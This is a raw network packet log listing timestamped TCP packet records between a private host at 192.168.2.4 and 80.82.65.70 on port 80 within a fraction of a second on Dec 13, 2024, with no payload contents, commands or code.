Dec 13, 2024 01:09:50.829000950 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.829659939 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.829729080 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.829899073 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.830472946 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.830599070 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.830957890 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.831285000 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.831332922 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.831393003 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.831485033 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.832139015 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.832248926 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.832444906 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.832966089 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.833023071 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.833081007 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.902347088 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.902367115 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.902551889 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.902623892 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.902638912 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.902739048 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.903182030 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.903280973 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.903321981 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.904030085 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.904130936 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.904161930 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.904860973 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.904947042 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.904957056 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.904983997 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.905666113 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.905778885 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.906043053 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.906503916 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.906548023 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.906586885 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.906742096 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.907330036 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.907377958 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.907422066 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.907551050 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.908138990 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.908201933 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.908266068 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.908340931 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.909003019 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.909096003 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.909104109 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.909138918 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.909809113 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.909873009 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.909941912 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.910012007 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.910638094 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.910734892 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.910777092 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.910917044 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.911446095 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.911506891 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.911545992 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.911596060 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.912270069 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.912374973 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.925532103 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.925610065 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.925638914 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.925657034 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.925858974 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.925909042 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.925971031 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.926800013 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.926856995 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.926920891 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.926973104 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.927515030 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.927635908 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.927695990 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.928345919 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.928457022 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.928510904 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.929172039 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.929281950 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.929356098 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.929996967 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.930119991 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.930144072 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.930202961 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.930850983 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.930912018 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.930973053 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.931047916 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.931651115 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.931708097 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.931741953 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.931793928 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.932507992 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.932554960 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.932590008 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.932761908 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.933316946 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.933394909 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.933423042 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.933547020 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.934142113 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.934199095 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.934293985 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.934348106 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.934989929 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.935101032 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.935153008 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.935786009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.938579082 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.004182100 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.004201889 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.004336119 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.004348040 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.004393101 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.004534006 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.005179882 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.005211115 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.005294085 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.005680084 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.005892038 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.005997896 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.006021976 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.006048918 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.006747007 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.006805897 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.006840944 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.006886959 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.007620096 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.007740974 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.007742882 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.007842064 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.008385897 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.008526087 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.009223938 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.009282112 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.009357929 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.009579897 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.010019064 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.010149956 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.010210991 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.010859013 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.010982990 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.011035919 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.011689901 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.011792898 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.012079954 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.012525082 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.012600899 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.012635946 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.012799978 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.013346910 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.013448000 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.014218092 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.014276981 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.014305115 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.014676094 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.014971972 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.015106916 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.015372992 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.015815973 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.015944958 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.016500950 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.016665936 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.016716003 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.016746998 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.016834021 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.017482042 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.017587900 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.017664909 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.018320084 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.018414021 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.018443108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.018493891 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.019159079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.019239902 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.019267082 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.019438982 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.019958973 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.020025015 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.020061970 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.020155907 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.020792007 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.020849943 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.020903111 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.020968914 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.021635056 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.021752119 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.021888971 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.022417068 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.022537947 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.022561073 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.022608995 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.023266077 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.023343086 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.023384094 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.023433924 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.024091959 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.024169922 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.024250031 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.024322987 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.024919033 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.024986982 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.025012016 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.025054932 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.094034910 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.094046116 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.094361067 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.094432116 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.094449997 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.095001936 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.095065117 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.095107079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.095839977 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.095947027 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.095956087 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.095987082 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.096661091 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.096745014 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.096836090 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.097476006 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.097584009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.097923040 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.098294973 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.098412037 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.099003077 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.099129915 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.099230051 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.099383116 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.099945068 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.100055933 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.100075960 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.100102901 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.100790024 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.100882053 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.101155996 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.101613998 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.101720095 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.102257013 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.102425098 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.102545977 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.102566957 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.102591038 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.103259087 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.103311062 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.103354931 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.103400946 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.104243040 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.104293108 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.117456913 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.117512941 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.117542982 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.117667913 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.117822886 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.117949009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.117968082 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.117990017 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.118659019 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.118745089 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.118783951 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.118851900 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.119472980 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.119570017 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.119597912 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.119905949 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.120297909 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.120354891 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.120415926 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.120575905 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.121141911 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.121206045 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.121237040 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.121284008 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.121967077 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.122028112 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.122056961 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.122129917 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.122777939 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.122840881 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.122875929 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.122936010 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.123615026 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.123672962 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.123704910 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.123773098 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.124444008 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.124497890 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.124581099 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.125304937 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.125370979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.125392914 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.126178026 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.126199961 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.126250982 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.126928091 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.127021074 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.127077103 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.127726078 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.127772093 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.195959091 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.195966959 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.196156979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.196176052 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.196196079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.196263075 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.196922064 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.197024107 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.197078943 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.197741032 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.197824001 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.197879076 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.198313951 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.198374987 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.198435068 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.198508978 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.199153900 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.199264050 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.199275017 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.199379921 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.199966908 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.200124025 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.200233936 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.200818062 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.200880051 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.200946093 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.201064110 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.201632023 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.201695919 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.201729059 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.201786995 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.202411890 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.202519894 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.202545881 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.203248024 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.203332901 CET	49731	80	192.168.2.4	80.82.65.70
